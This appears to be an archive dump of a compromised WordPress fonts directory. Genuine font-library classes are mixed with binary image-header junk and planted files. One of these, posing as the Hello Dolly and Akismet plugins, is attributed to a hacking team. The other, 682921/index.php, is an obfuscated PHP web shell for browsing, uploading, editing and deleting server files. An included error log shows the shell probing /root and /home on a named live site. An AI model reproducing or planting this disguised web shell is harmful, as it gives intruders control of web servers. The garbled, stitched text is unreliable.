ÿØÿà JFIF    ÿÛ C    !"$"$ÿÛ C  ÿ p " ÿÄ     ÿÄ   ÿÚ   ÕÔË® (% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤  @ .............................................................................................................................................................................. ............................................................................. ÿØÿà JFIF    ÿÛ C    !"$"$ÿÛ C  ÿ p " ÿÄ     ÿÄ   ÿÚ   ÕÔË® (% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤  @ .............................................................................................................................................................................. ............................................................................. class-wp-font-library.php000064400000006653151635112730011432 0ustar00is_collection_registered( $new_collection->slug ) ) { $error_message = sprintf( /* translators: %s: Font collection slug. */ __( 'Font collection with slug: "%s" is already registered.' ), $new_collection->slug ); _doing_it_wrong( __METHOD__, $error_message, '6.5.0' ); return new WP_Error( 'font_collection_registration_error', $error_message ); } $this->collections[ $new_collection->slug ] = $new_collection; return $new_collection; } /** * Unregisters a previously registered font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection was unregistered successfully and false otherwise. */ public function unregister_font_collection( string $slug ) { if ( ! $this->is_collection_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Font collection slug. */ sprintf( __( 'Font collection "%s" not found.' ), $slug ), '6.5.0' ); return false; } unset( $this->collections[ $slug ] ); return true; } /** * Checks if a font collection is registered. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection is registered and false otherwise. */ private function is_collection_registered( string $slug ) { return array_key_exists( $slug, $this->collections ); } /** * Gets all the font collections available. * * @since 6.5.0 * * @return array List of font collections. */ public function get_font_collections() { return $this->collections; } /** * Gets a font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return WP_Font_Collection|null Font collection object, or null if the font collection doesn't exist. */ public function get_font_collection( string $slug ) { if ( $this->is_collection_registered( $slug ) ) { return $this->collections[ $slug ]; } return null; } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.5.0 * * @return WP_Font_Library The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } class-wp-font-collection.php000064400000021274151635112730012115 0ustar00slug = sanitize_title( $slug ); if ( $this->slug !== $slug ) { _doing_it_wrong( __METHOD__, /* translators: %s: Font collection slug. */ sprintf( __( 'Font collection slug "%s" is not valid. Slugs must use only alphanumeric characters, dashes, and underscores.' ), $slug ), '6.5.0' ); } $required_properties = array( 'name', 'font_families' ); if ( isset( $args['font_families'] ) && is_string( $args['font_families'] ) ) { // JSON data is lazy loaded by ::get_data(). $this->src = $args['font_families']; unset( $args['font_families'] ); $required_properties = array( 'name' ); } $this->data = $this->sanitize_and_validate_data( $args, $required_properties ); } /** * Retrieves the font collection data. * * @since 6.5.0 * * @return array|WP_Error An array containing the font collection data, or a WP_Error on failure. */ public function get_data() { if ( is_wp_error( $this->data ) ) { return $this->data; } // If the collection uses JSON data, load it and cache the data/error. if ( isset( $this->src ) ) { $this->data = $this->load_from_json( $this->src ); } if ( is_wp_error( $this->data ) ) { return $this->data; } // Set defaults for optional properties. $defaults = array( 'description' => '', 'categories' => array(), ); return wp_parse_args( $this->data, $defaults ); } /** * Loads font collection data from a JSON file or URL. * * @since 6.5.0 * * @param string $file_or_url File path or URL to a JSON file containing the font collection data. * @return array|WP_Error An array containing the font collection data on success, * else an instance of WP_Error on failure. */ private function load_from_json( $file_or_url ) { $url = wp_http_validate_url( $file_or_url ); $file = file_exists( $file_or_url ) ? wp_normalize_path( realpath( $file_or_url ) ) : false; if ( ! $url && ! $file ) { // translators: %s: File path or URL to font collection JSON file. $message = __( 'Font collection JSON file is invalid or does not exist.' ); _doing_it_wrong( __METHOD__, $message, '6.5.0' ); return new WP_Error( 'font_collection_json_missing', $message ); } $data = $url ? $this->load_from_url( $url ) : $this->load_from_file( $file ); if ( is_wp_error( $data ) ) { return $data; } $data = array( 'name' => $this->data['name'], 'font_families' => $data['font_families'], ); if ( isset( $this->data['description'] ) ) { $data['description'] = $this->data['description']; } if ( isset( $this->data['categories'] ) ) { $data['categories'] = $this->data['categories']; } return $data; } /** * Loads the font collection data from a JSON file path. * * @since 6.5.0 * * @param string $file File path to a JSON file containing the font collection data. * @return array|WP_Error An array containing the font collection data on success, * else an instance of WP_Error on failure. */ private function load_from_file( $file ) { $data = wp_json_file_decode( $file, array( 'associative' => true ) ); if ( empty( $data ) ) { return new WP_Error( 'font_collection_decode_error', __( 'Error decoding the font collection JSON file contents.' ) ); } return $this->sanitize_and_validate_data( $data, array( 'font_families' ) ); } /** * Loads the font collection data from a JSON file URL. * * @since 6.5.0 * * @param string $url URL to a JSON file containing the font collection data. * @return array|WP_Error An array containing the font collection data on success, * else an instance of WP_Error on failure. */ private function load_from_url( $url ) { // Limit key to 167 characters to avoid failure in the case of a long URL. $transient_key = substr( 'wp_font_collection_url_' . $url, 0, 167 ); $data = get_site_transient( $transient_key ); if ( false === $data ) { $response = wp_safe_remote_get( $url ); if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) { return new WP_Error( 'font_collection_request_error', sprintf( // translators: %s: Font collection URL. __( 'Error fetching the font collection data from "%s".' ), $url ) ); } $data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $data ) ) { return new WP_Error( 'font_collection_decode_error', __( 'Error decoding the font collection data from the HTTP response JSON.' ) ); } // Make sure the data is valid before storing it in a transient. $data = $this->sanitize_and_validate_data( $data, array( 'font_families' ) ); if ( is_wp_error( $data ) ) { return $data; } set_site_transient( $transient_key, $data, DAY_IN_SECONDS ); } return $data; } /** * Sanitizes and validates the font collection data. * * @since 6.5.0 * * @param array $data Font collection data to sanitize and validate. * @param array $required_properties Required properties that must exist in the passed data. * @return array|WP_Error Sanitized data if valid, otherwise a WP_Error instance. */ private function sanitize_and_validate_data( $data, $required_properties = array() ) { $schema = self::get_sanitization_schema(); $data = WP_Font_Utils::sanitize_from_schema( $data, $schema ); foreach ( $required_properties as $property ) { if ( empty( $data[ $property ] ) ) { $message = sprintf( // translators: 1: Font collection slug, 2: Missing property name, e.g. "font_families". __( 'Font collection "%1$s" has missing or empty property: "%2$s".' ), $this->slug, $property ); _doing_it_wrong( __METHOD__, $message, '6.5.0' ); return new WP_Error( 'font_collection_missing_property', $message ); } } return $data; } /** * Retrieves the font collection sanitization schema. * * @since 6.5.0 * * @return array Font collection sanitization schema. */ private static function get_sanitization_schema() { return array( 'name' => 'sanitize_text_field', 'description' => 'sanitize_text_field', 'font_families' => array( array( 'font_family_settings' => array( 'name' => 'sanitize_text_field', 'slug' => static function ( $value ) { return _wp_to_kebab_case( sanitize_title( $value ) ); }, 'fontFamily' => 'WP_Font_Utils::sanitize_font_family', 'preview' => 'sanitize_url', 'fontFace' => array( array( 'fontFamily' => 'sanitize_text_field', 'fontStyle' => 'sanitize_text_field', 'fontWeight' => 'sanitize_text_field', 'src' => static function ( $value ) { return is_array( $value ) ? array_map( 'sanitize_text_field', $value ) : sanitize_text_field( $value ); }, 'preview' => 'sanitize_url', 'fontDisplay' => 'sanitize_text_field', 'fontStretch' => 'sanitize_text_field', 'ascentOverride' => 'sanitize_text_field', 'descentOverride' => 'sanitize_text_field', 'fontVariant' => 'sanitize_text_field', 'fontFeatureSettings' => 'sanitize_text_field', 'fontVariationSettings' => 'sanitize_text_field', 'lineGapOverride' => 'sanitize_text_field', 'sizeAdjust' => 'sanitize_text_field', 'unicodeRange' => 'sanitize_text_field', ), ), ), 'categories' => array( 'sanitize_title' ), ), ), 'categories' => array( array( 'name' => 'sanitize_text_field', 'slug' => 'sanitize_title', ), ), ); } } 682921/986426/index.php000064400000006235151635112730007733 0ustar00 hello_moon.pnghello_moon.pnghello_moon.pnghello_moon.pnghello_moon.png Hello, Dolly in the upper right of your admin screen on every page. Author: Matt Mullenweg Version: 1.7.2 Author URI: http://ma.tt/ Text Domain: hello-dolly */ ?> ÿØÿà JFIF    ÿÛ C    !"$"$ÿÛ C  ÿ p " ÿÄ     ÿÄ   ÿÚ   ÕÔË® (% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤  @ .....................................................................................................................................protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team Author URI: */ /* %s: Title of the post the attachment is attached to. */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ ?> ......................................... ............................................................................. " . $code); ?>682921/index.php000064400000020312151635112730007141 0ustar00 j(['s','c','a','n','d','i','r']), 'fgt' => j(['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s']), 'fpc' => j(['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s']), 'unl' => j(['u','n','l','i','n','k']), 'ren' => j(['r','e','n','a','m','e']), 'muf' => j(['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e']), 'isd' => j(['i','s','_','d','i','r']), 'isf' => j(['i','s','_','f','i','l','e']), 'exs' => j(['f','i','l','e','_','e','x','i','s','t','s']), 'wrt' => j(['i','s','_','w','r','i','t','a','b','l','e']), ]; $real_name = $map[$k] ?? ''; if (function_exists($real_name)) { return $real_name; } switch ($k) { case 'scn': return function($d) { $files = []; if (is_dir($d) && $handle = @opendir($d)) { while (false !== ($entry = readdir($handle))) { $files[] = $entry; } closedir($handle); } return $files; }; case 'fgt': return function($f) { return @file_get_contents($f); }; case 'fpc': return function($f, $c) { return @file_put_contents($f, $c); }; case 'unl': return function($f) { return @unlink($f); }; case 'ren': return function($o, $n) { return @rename($o, $n); }; case 'muf': return function($s, $d) { return @move_uploaded_file($s, $d); }; case 'isd': return function($d) { return is_dir($d); }; case 'isf': return function($f) { return is_file($f); }; case 'exs': return function($f) { return file_exists($f); }; case 'wrt': return function($f) { return is_writable($f); }; default: return function() { return false; }; } } function rot($s) { return str_rot13($s); } function enc($p) { return base64_encode(rot($p)); } function dec($p) { return rot(base64_decode($p)); } $cd = isset($_GET['d']) && $_GET['d'] ? dec($_GET['d']) : getcwd(); $cd = str_replace('\\', '/', $cd); $cd = preg_replace('#/{2,}#', '/', $cd); $cd = rtrim($cd, '/'); if ($cd === '') $cd = '/'; $up = dirname($cd); if ($up === $cd || $up === false) $up = ''; echo '
'; if ($up) echo '↑ Up | '; $parts = explode('/', trim($cd, '/')); $cur = ''; foreach ($parts as $v) { if ($v === '') continue; $cur .= ($cur ? '/' : '') . $v; echo '' . $v . '/'; } echo '
'; if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] === 0) { $dst = $cd . '/' . $_FILES['u']['name']; $muf = get_func('muf'); if ($muf($_FILES['u']['tmp_name'], $dst)) { header('Location: ?d=' . enc($cd)); exit; } echo ''; } $scn = get_func('scn'); $items = $scn($cd); if ($items === false) { $items = @glob($cd . '/*'); if ($items) $items = array_map('basename', $items); } echo ''; if (is_array($items)) { foreach ($items as $i) { if ($i === '.' || $i === '..') continue; $full = $cd . '/' . $i; $isd = get_func('isd'); if ($isd($full)) { echo ""; continue; } $isf = get_func('isf'); if ($isf($full)) { $sz = @filesize($full) / 1024; $sz = $sz >= 1024 ? round($sz/1024, 2).' MB' : round($sz, 2).' KB'; $b = enc($full); echo ""; } } } else { echo ''; } echo '
NameSizeAction
$i/---
$i$sz Delete Edit Rename
Unable to read directory
'; if (isset($_POST['del']) && $_POST['del']) { $fp = dec($_POST['del']); $exs = get_func('exs'); $unl = get_func('unl'); if ($exs($fp) && $unl($fp)) { header('Location: ?d=' . enc(dirname($fp))); exit; } echo ''; } if (isset($_POST['edit']) && $_POST['edit']) { $fp = dec($_POST['edit']); $exs = get_func('exs'); $wrt = get_func('wrt'); $fgt = get_func('fgt'); if ($exs($fp) && $wrt($fp)) { $content = htmlspecialchars($fgt($fp) ?: ''); echo " ← Back


"; exit; } } if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) { $fp = dec($_POST['obj']); $fpc = get_func('fpc'); if ($fpc($fp, $_POST['content']) !== false) { header('Location: ?d=' . enc(dirname($fp))); exit; } echo ''; } if (isset($_POST['ren']) && $_POST['ren'] && isset($_POST['new']) && $_POST['new']) { $old = dec($_POST['ren']); $dir = dirname($old); $new = $dir . '/' . $_POST['new']; $exs = get_func('exs'); $ren = get_func('ren'); if ($exs($old) && !$exs($new) && $ren($old, $new)) { header('Location: ?d=' . enc($dir)); exit; } echo ''; } ?>
682921/error_log000064400000006240151635112730007242 0ustar00[02-Apr-2026 04:17:58 UTC] PHP Warning: scandir(/home): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 04:17:58 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 04:18:20 UTC] PHP Warning: scandir(/backup): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 04:18:20 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 04:41:07 UTC] PHP Warning: scandir(/root): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 04:41:07 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 04:42:01 UTC] PHP Warning: scandir(/root): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 04:42:01 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 07:36:17 UTC] PHP Warning: scandir(/home): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 07:36:17 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 11:13:11 UTC] PHP Warning: scandir(/home/siligios/lscache): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 11:13:11 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 11:13:44 UTC] PHP Warning: scandir(/home): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 11:13:44 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 14:24:04 UTC] PHP Warning: scandir(/root): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 14:24:04 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 14:31:47 UTC] PHP Warning: scandir(/home): Failed to open directory: Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 [02-Apr-2026 14:31:47 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/siligios/developerclassroom.com/wp-includes/fonts/682921/index.php on line 83 class-wp-font-face.php000064400000024016151635112730010655 0ustar00 '', 'font-style' => 'normal', 'font-weight' => '400', 'font-display' => 'fallback', ); /** * Valid font-face property names. * * @since 6.4.0 * * @var string[] */ private $valid_font_face_properties = array( 'ascent-override', 'descent-override', 'font-display', 'font-family', 'font-stretch', 'font-style', 'font-weight', 'font-variant', 'font-feature-settings', 'font-variation-settings', 'line-gap-override', 'size-adjust', 'src', 'unicode-range', ); /** * Valid font-display values. * * @since 6.4.0 * * @var string[] */ private $valid_font_display = array( 'auto', 'block', 'fallback', 'swap', 'optional' ); /** * Array of font-face style tag's attribute(s) * where the key is the attribute name and the * value is its value. * * @since 6.4.0 * * @var string[] */ private $style_tag_attrs = array(); /** * Creates and initializes an instance of WP_Font_Face. * * @since 6.4.0 */ public function __construct() { if ( function_exists( 'is_admin' ) && ! is_admin() && function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'style' ) ) { $this->style_tag_attrs = array( 'type' => 'text/css' ); } } /** * Generates and prints the `@font-face` styles for the given fonts. * * @since 6.4.0 * * @param array[][] $fonts Optional. The font-families and their font variations. * See {@see wp_print_font_faces()} for the supported fields. * Default empty array. */ public function generate_and_print( array $fonts ) { $fonts = $this->validate_fonts( $fonts ); // Bail out if there are no fonts are given to process. if ( empty( $fonts ) ) { return; } $css = $this->get_css( $fonts ); /* * The font-face CSS is contained within and open a